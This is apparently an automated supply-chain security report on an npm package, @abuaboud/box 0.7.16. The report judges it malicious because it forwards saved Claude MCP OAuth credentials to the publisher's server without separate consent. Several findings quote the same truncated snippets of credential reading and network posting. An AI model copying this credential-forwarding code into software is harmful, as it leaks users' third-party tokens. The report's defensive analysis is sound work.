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canonical: "https://firewall.lpm.dev/npm/@abuaboud/box"
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package: "@abuaboud/box"
report_status: "published"
title: "@abuaboud/box@0.7.16 npm security report"
verdict: "malicious"
version: "0.7.16"
---

# @abuaboud/box@0.7.16 npm security report

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## Verdict summary
**Blocked & quarantined** — The box service receives saved third-party OAuth credentials, exposing them beyond their intended service.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 0.7.16
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

Static source confirms that remote-box creation sends saved MCP OAuth credentials to the publisher-associated default service without recipient-specific consent. This is concrete credential disclosure and supports blocking the package.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 94.0%
- **Started:** 2026-10-20T18:32:03.639Z
- **Finished:** 2026-10-20T18:33:04.356Z
- **Download time:** 1009 ms
- **Static scan time:** 227 ms
- **AI review time:** 59481 ms
- **Total time:** 60717 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The remote-box setup flow forwards saved MCP OAuth credentials to the box service. The source does not show recipient-specific consent for sending those saved third-party credentials.

- **Trigger:** A user creates a remote box through the CLI.

- **Impact:** The box service receives saved third-party OAuth credentials, exposing them beyond their intended service.

- **Evidence paths:** dist/cbox.mjs

- **Review source:** ai\_review

- **Reviewed:** 2026-10-20T18:33:04.356Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The CLI reads saved Claude credentials, retains MCP OAuth values while omitting refresh tokens, and includes the remaining values in a POST to the configured box server.

- **Attack narrative:** When remote-box setup runs, the CLI reads saved Claude credentials and includes saved MCP OAuth values in the remote box creation request. The request goes to the configured server, defaulting to https://box.abuaboud.me; the source shows no separate consent for sending those third-party credentials to that recipient.

- **Rationale:** Static source confirms that remote-box creation sends saved MCP OAuth credentials to the publisher-associated default service without recipient-specific consent. This is concrete credential disclosure and supports blocking the package.

- **Files touched:** dist/cbox.mjs

- **Network endpoints:** https://box.abuaboud.me

### Review decision

- **Verdict:** Malicious

- **Confidence:** 94.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The CLI reads saved Claude credentials from the user’s Claude credentials file or macOS Keychain, then extracts the saved MCP OAuth values., The CLI sends those saved MCP OAuth values in the remote box creation request without a separate recipient-specific consent check., The request uses the configured box server, which defaults to the package’s publisher-associated service, and is sent with the CLI’s bearer token., Creating a remote box is reachable through the CLI’s remote-box command path.

- **Evidence against:** The manifest has no install hook; its prepublishOnly script only builds the package.

## Affected versions and remediation

This report applies to @abuaboud/box@0.7.16.

- Avoid installing @abuaboud/box@0.7.16. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Non Install Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 80.0%

Package declares lifecycle scripts that are not normally run for registry tarball installs.

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L8: // src/api.ts
L9: import { spawn } from "node:child_process";
L10: import { chmodSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync2, writeFileSync as writeFileSync2 } from "node:fs";
```

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 7. Critical: Same File Env Network Execution
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

A single source file combines environment access, network access, and code or shell execution with blocking evidence.

Public source snippet (untrusted):

```javascript
L1192: const prefix = npmPrefix();
L1193: if (!prefix || process.env.CBOX_NO_UPDATE || process.env.CBOX_UPDATED) return;
L1194: const latest = await fetch(LATEST, { signal: AbortSignal.timeout(2500) }).then((r) => r.json()).then((j) => j.version, () => void 0);
L1195: if (!latest || !newer(latest, VERSION)) return;
L1196: const stop = progress([[0, `Updating ${brand.command} ${VERSION} \u2192 ${latest}`]]);
L1197: const done = spawnSync(NPM, installArgs(latest, prefix), { stdio: "ignore" }).status === 0;
L1198: stop();
```

### 8. Critical: Hardcoded Runtime Data Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

Public source snippet (untrusted):

```javascript
Source sends the broad process environment to a literal external destination.
L8: // src/api.ts
L9: import { spawn } from "node:child_process";
L10: import { chmodSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync2, writeFileSync as writeFileSync2 } from "node:fs";
...
L20: import ssh2 from "ssh2";
L21: var CONFIG_DIR = join(homedir(), ".config", "box");
L22: var BOXES = join(homedir(), ".box");
...
L26: const claudeJson = join(homedir(), ".claude.json");
L27: const servers = existsSync(claudeJson) ? JSON.parse(readFileSync(claudeJson, "utf8")).mcpServers ?? {} : {};
L28: const skipped = [];
...
L63: const paths = [...dirs, ...Object.values(plugins).flat().map((e) => e.installPath), ...Object.values(marketplaces).map((m) => m.installLocation)].map((p) =>
```

### 9. Critical: Command Output Exfiltration
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

Source executes local commands and sends command output to an external endpoint.

Public source snippet (untrusted):

```javascript
L238: const c = { ...load(), ...server && { server } };
L239: const post = (path, body) => fetch(new URL(path, c.server), { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) }).then((r) => r.json());
L240: const code2 = await post("/api/auth/device/code", { client_id: "cb" });
...
L242: console.log(`Open ${styleText2("underline", code2.verification_uri_complete)} and approve ${styleText2("bold", code2.user_code)}`);
L243: if (process.stdout.isTTY) spawn(process.platform === "darwin" ? "open" : "xdg-open", [code2.verification_uri_complete], { stdio: "ignore", detached: true }).on("error", () => {
L244: }).unref();
```

### 10. Critical: Persistence Backdoor
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

Source writes persistence or remote-access backdoor material.

Public source snippet (untrusted):

```javascript
L8: // src/api.ts
L9: import { spawn } from "node:child_process";
L10: import { chmodSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync2, writeFileSync as writeFileSync2 } from "node:fs";
...
L20: import ssh2 from "ssh2";
L21: var CONFIG_DIR = join(homedir(), ".config", "box");
L22: var BOXES = join(homedir(), ".box");
...
L26: const claudeJson = join(homedir(), ".claude.json");
L27: const servers = existsSync(claudeJson) ? JSON.parse(readFileSync(claudeJson, "utf8")).mcpServers ?? {} : {};
L28: const skipped = [];
...
L63: const paths = [...dirs, ...Object.values(plugins).flat().map((e) => e.installPath), ...Object.values(marketplaces).map((m) => m.installLocation)].map((p) => p.startsWith(root) ? p....
L64: const tar = !paths.length ? Promise.resolve(v
```

### 11. High: Sandbox Evasion Gated Capability
- **Category:** Source
- **Confidence:** 84.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

Public source snippet (untrusted):

```javascript
L8: // src/api.ts
L9: import { spawn } from "node:child_process";
L10: import { chmodSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync2, writeFileSync as writeFileSync2 } from "node:fs";
...
L20: import ssh2 from "ssh2";
L21: var CONFIG_DIR = join(homedir(), ".config", "box");
L22: var BOXES = join(homedir(), ".box");
...
L26: const claudeJson = join(homedir(), ".claude.json");
L27: const servers = existsSync(claudeJson) ? JSON.parse(readFileSync(claudeJson, "utf8")).mcpServers ?? {} : {};
L28: const skipped = [];
...
L63: const paths = [...dirs, ...Object.values(plugins).flat().map((e) => e.installPath), ...Object.values(marketplaces).map((m) => m.installLocation)].map((p) => p.startsWith(root) ? p....
L64: const tar = !paths.length ? Promise.resolve(v
```

### 12. High: External Ai Agent Control Surface Mutation
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

Runtime or CLI source writes behavior-bearing configuration into a user or project AI-agent control surface.

Public source snippet (untrusted):

```javascript
Runtime or CLI code links a write operation to an explicit external AI-agent control path:
#!/usr/bin/env node

               
import { styletext as styletext5 } from "node:util";
import { command } from "commander";
import { input as input2, select as select4 } from "@inquirer/prompts";

             
import { spawn } from "node:child_process";
import { chmodsync, existssync as existssync2, mkdirsync as mkdirsync2, readfilesync as readfilesync2, writefilesync as writefilesync2 } from "node:fs";
import { join as join2 } from "node:path";
import { styletext as styletext2 } from "node:util";

                
import { execfile, execfilesync } from "node:child_process";
import { gzip } from "node:zlib";
import { existssync, mkdirsync, readdirsync, readfilesync, writefilesync } from "node:fs"
```

### 13. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: manifest.bin -> dist/skyfleet.mjs -> dist/cbox.mjs
L238: const c = { ...load(), ...server && { server } };
L239: const post = (path, body) => fetch(new URL(path, c.server), { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) }).then((r) => r.json());
L240: const code2 = await post("/api/auth/device/code", { client_id: "cb" });
...
L242: console.log(`Open ${styleText2("underline", code2.verification_uri_complete)} and approve ${styleText2("bold", code2.user_code)}`);
L243: if (process.stdout.isTTY) spawn(process.platform === "darwin" ? "open" : "xdg-open", [code2.verification_uri_complete], { stdio: "ignore", detached: true }).on("error", () => {
L244: }).unref();
```

### 14. High: Trigger Reachable Command Output Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable command-output exfiltration chain: manifest.bin -> dist/skyfleet.mjs -> dist/cbox.mjs
L238: const c = { ...load(), ...server && { server } };
L239: const post = (path, body) => fetch(new URL(path, c.server), { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify(body) }).then((r) => r.json());
L240: const code2 = await post("/api/auth/device/code", { client_id: "cb" });
...
L242: console.log(`Open ${styleText2("underline", code2.verification_uri_complete)} and approve ${styleText2("bold", code2.user_code)}`);
L243: if (process.stdout.isTTY) spawn(process.platform === "darwin" ? "open" : "xdg-open", [code2.verification_uri_complete], { stdio: "ignore", detached: true }).on("error", () => {
L244: }).unref();
```

### 15. High: Trigger Reachable Persistence
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** dist/cbox.mjs
- **Public source:** [View source](<https://unpkg.com/@abuaboud/box@0.7.16/dist/cbox.mjs>)

A manifest entrypoint or package-local install chain reaches persistence behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable persistence chain: manifest.bin -> dist/skyfleet.mjs -> dist/cbox.mjs
L8: // src/api.ts
L9: import { spawn } from "node:child_process";
L10: import { chmodSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync2, writeFileSync as writeFileSync2 } from "node:fs";
...
L20: import ssh2 from "ssh2";
L21: var CONFIG_DIR = join(homedir(), ".config", "box");
L22: var BOXES = join(homedir(), ".box");
...
L26: const claudeJson = join(homedir(), ".claude.json");
L27: const servers = existsSync(claudeJson) ? JSON.parse(readFileSync(claudeJson, "utf8")).mcpServers ?? {} : {};
L28: const skipped = [];
...
L63: const paths = [...dirs, ...Object.values(plugins).flat().map((e) => e.installPath), ...Object.values(marketplaces).map((m) => m.installLocation)].
```

### 16. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 17. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 18. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublishOnly
- **Dependencies:** 4
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 1
- **Published dependency-graph edges:** 4

### Published dependency entries
- @inquirer/prompts ^8.7.2 (Dependency)
- @xterm/headless ^6.0.0 (Dependency)
- commander ^15.0.0 (Dependency)
- ssh2 ^1.17.0 (Dependency)

## Package metadata
- **Package:** @abuaboud/box
- **Ecosystem:** npm
- **Version:** 0.7.16
- **License:** MIT
- **Version published:** 2026-10-20T18:30:58.291Z
- **Package first seen:** 2026-10-03T22:42:53.160Z
- **Package last seen:** 2026-10-20T18:33:04.356Z
- **Known versions:** 6
- **Latest version:** 0.7.16
- **Appeal under review:** No
- **Description:** skyfleet: Claude Code on your laptop, the work on a cloud dev machine (a ship) you reach as \<name\>.skyfleet, with your team databases through MCP.
- **Author:** Mohammad AbuAboud
- **Keywords:** claude, claude-code, dev-environment, remote, cli, mcp
- **Runtime engines:** node: \>=22.18
- **Artifact files:** 5
- **Artifact unpacked size:** 72,637 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@abuaboud/box>)
- [Repository](<https://github.com/abuaboud/box.git>)
- [Homepage](<https://box.abuaboud.me/>)
- [Issues](<https://github.com/abuaboud/box/issues>)